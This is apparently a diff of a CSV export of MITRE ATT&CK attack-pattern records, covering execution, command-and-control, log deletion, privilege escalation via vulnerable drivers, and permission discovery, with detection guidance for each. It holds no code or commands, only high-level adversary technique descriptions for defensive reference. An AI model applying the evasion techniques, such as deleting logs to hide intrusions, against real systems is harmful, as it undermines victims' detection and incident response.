external_id='CAPEC-187')]",attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2020-12-11 17:00:00.938000+00:00,Software Deployment Tools,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Shane Tully, @securitygypsy']","['Application Log: Application Log Content', 'Process: Process Creation']",,,,,"Detection methods will vary depending on the type of third-party software or system and how it is typically used. +The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1072', 'external_id': 'T1072'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/187.html', 'external_id': 'CAPEC-187'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Shane Tully, @securitygypsy']","['Application Log: Application Log Content', 'Process: Process Creation']",,"Detection methods will vary depending on the type of third-party software or system and how it is typically used. The same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. Often these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage. -Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.",,,,,False,,,"['User', 'Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows']",True,,,2.1 -2017-05-31 21:30:56.776000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. +Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.",False,"['User', 'Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows']",2.1,True,,,,,, +attack-pattern,attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:56.776Z,2020-10-21T16:35:45.986Z,Application Layer Protocol,"Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. -Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1071', external_id='T1071'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-10-21 16:35:45.986000+00:00,Application Layer Protocol,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)",,,,,False,True,,,"['Linux', 'macOS', 'Windows']",,,,2.0 -2017-05-31 21:30:55.892000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*. +Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1071', 'external_id': 'T1071'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)",False,,"['Linux', 'macOS', 'Windows']",2.0,,,True,,,, +attack-pattern,attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:55.892Z,2021-07-27T15:23:52.099Z,Indicator Removal on Host,"Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*. -These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This that may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1070', external_id='T1070'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/93.html', external_id='CAPEC-93')]",attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-04-24 13:35:09.065000+00:00,Indicator Removal on Host,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Brad Geesaman, @bradgeesaman', 'Ed Williams, Trustwave, SpiderLabs']","['Process: Process Creation', 'File: File Deletion', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Deletion', 'Process: OS API Execution', 'Command: Command Execution', 'Network Traffic: Network Traffic Content', 'User Account: User Account Authentication', 'File: File Metadata']","['Log analysis', 'Host intrusion prevention systems', 'Anti-virus']",,,,File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system may require different detection mechanisms.,,,,,False,,,,"['Linux', 'macOS', 'Windows', 'Containers']",,,,1.2 -2017-05-31 21:30:55.471000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to find group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1069', external_id='T1069'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/576.html', external_id='CAPEC-576')]",attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-03-30 12:29:56.512000+00:00,Permission Groups Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Microsoft Threat Intelligence Center (MSTIC)'],"['Process: Process Creation', 'Command: Command Execution', 'Group: Group Enumeration', 'Group: Group Metadata', 'Application Log: Application Log Content']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1070', 'external_id': 'T1070'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/93.html', 'external_id': 'CAPEC-93'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Brad Geesaman, @bradgeesaman', 'Ed Williams, Trustwave, SpiderLabs']","['Process: Process Creation', 'File: File Deletion', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Deletion', 'Process: OS API Execution', 'Command: Command Execution', 'Network Traffic: Network Traffic Content', 'User Account: User Account Authentication', 'File: File Metadata']","['Log analysis', 'Host intrusion prevention systems', 'Anti-virus']",File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system may require different detection mechanisms.,False,,"['Linux', 'macOS', 'Windows', 'Containers']",1.2,,,,,,, +attack-pattern,attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:55.471Z,2021-10-15T18:10:53.423Z,Permission Groups Discovery,"Adversaries may attempt to find group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1069', 'external_id': 'T1069'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/576.html', 'external_id': 'CAPEC-576'}, {'source_name': 'K8s Authorization Overview', 'description': 'Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021.', 'url': 'https://kubernetes.io/docs/reference/access-authn-authz/authorization/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Daniel Prizmant, Palo Alto Networks', 'Yuval Avrahami, Palo Alto Networks', 'Microsoft Threat Intelligence Center (MSTIC)']","['Pod: Pod Metadata', 'Process: Process Creation', 'Command: Command Execution', 'Group: Group Enumeration', 'Group: Group Metadata', 'Application Log: Application Log Content']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",,,,,False,,,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,,,2.3 -2017-05-31 21:30:55.066000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.(Citation: K8s Authorization Overview)",False,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",2.4,,,,,,, +attack-pattern,attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:55.066Z,2021-04-22T16:13:34.896Z,Exploitation for Privilege Escalation,"Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods. -Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1068', external_id='T1068'), ExternalReference(source_name='ESET InvisiMole June 2020', description='Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.', url='https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf'), ExternalReference(source_name='Unit42 AcidBox June 2020', description='Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.', url='https://unit42.paloaltonetworks.com/acidbox-rare-malware/'), ExternalReference(source_name='Microsoft Driver Block Rules', description='Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021.', url='https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules')]",attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-04-22 16:13:34.896000+00:00,Exploitation for Privilege Escalation,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics', 'Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security', 'Idan Revivo, @idanr86, Team Nautilus Aqua Security']",['Driver: Driver Load'],,,,,"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules) +Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1068', 'external_id': 'T1068'}, {'source_name': 'ESET InvisiMole June 2020', 'description': 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf'}, {'source_name': 'Unit42 AcidBox June 2020', 'description': 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.', 'url': 'https://unit42.paloaltonetworks.com/acidbox-rare-malware/'}, {'source_name': 'Microsoft Driver Block Rules', 'description': 'Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics', 'Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security', 'Idan Revivo, @idanr86, Team Nautilus Aqua Security']",['Driver: Driver Load'],,"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules) -Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.",,,['User'],,False,,,['User'],"['Linux', 'macOS', 'Windows', 'Containers']",,,,1.3 -2017-05-31 21:30:51.733000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.** - -Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts. - -Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them. - -Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1064', external_id='T1064'), ExternalReference(source_name='Metasploit_Ref', description='Metasploit. (n.d.). Retrieved December 4, 2014.', url='http://www.metasploit.com'), ExternalReference(source_name='Veil_Ref', description='Veil Framework. (n.d.). Retrieved December 4, 2014.', url='https://www.veil-framework.com/framework/'), ExternalReference(source_name='Powersploit', description='PowerSploit. (n.d.). Retrieved December 4, 2014.', url='https://github.com/mattifestation/PowerSploit'), ExternalReference(source_name='Alperovitch 2014', description='Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.', url='https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/'), ExternalReference(source_name='Uperesia Malicious Office Documents', description='Felix. (2016, September). Analyzing Malicious Office Documents. Retrieved April 11, 2018.', url='https://www.uperesia.com/analyzing-malicious-office-documents')]",attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-03-30 13:39:24.852000+00:00,Scripting,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,"['Process whitelisting', 'Data Execution Prevention', 'Exploit Prevention']",True,,,"Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. - -Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. - -Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)",,,,,False,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2017-05-31 21:30:50.958000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated and should no longer be used.** - -A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1062', external_id='T1062'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/552.html', external_id='CAPEC-552'), ExternalReference(source_name='Wikipedia Hypervisor', description='Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016.', url='https://en.wikipedia.org/wiki/Hypervisor'), ExternalReference(source_name='Wikipedia Xen', description='Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014.', url='http://en.wikipedia.org/wiki/Xen'), ExternalReference(source_name='Myers 2007', description='Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014.', url='http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf'), ExternalReference(source_name='virtualization.info 2006', description='virtualization.info. (Interviewer) & Liguori, A. (Interviewee). (2006, August 11). Debunking Blue Pill myth [Interview transcript]. Retrieved November 13, 2014.', url='http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html')]",attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-03-30 13:44:04.712000+00:00,Hypervisor,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,,,"Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)",,,,,False,,,"['Administrator', 'SYSTEM']",['Windows'],,,,2.0 -2017-05-31 21:30:50.342000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.** - -The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1061', external_id='T1061'), ExternalReference(source_name='Wikipedia Run Command', description='Wikipedia. (2018, August 3). Run Command. Retrieved October 12, 2018.', url='https://en.wikipedia.org/wiki/Run_command')]",attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-03-30 13:38:08.738000+00:00,Graphical User Interface,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,,,"Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. - -Unknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.",,,,,False,,,"['User', 'Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows']",True,,,2.0 -2017-05-31 21:30:49.546000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). +Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.",False,['User'],"['Linux', 'macOS', 'Windows', 'Containers']",1.3,,,,['User'],,, +attack-pattern,attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:49.546Z,2021-08-16T21:03:21.700Z,Command and Scripting Interpreter,"Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). -Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1059', external_id='T1059')]",attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2021-04-27 19:21:06.164000+00:00,Command and Scripting Interpreter,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Script: Script Execution']",,,,,"Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages. +Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1059', 'external_id': 'T1059'}, {'source_name': 'Powershell Remote Commands', 'description': 'Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021.', 'url': 'https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Command History', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#23'}, {'source_name': 'Remote Shell Execution in Python', 'description': 'Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021.', 'url': 'https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Script: Script Execution']",,"Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. -Scripts are likely to 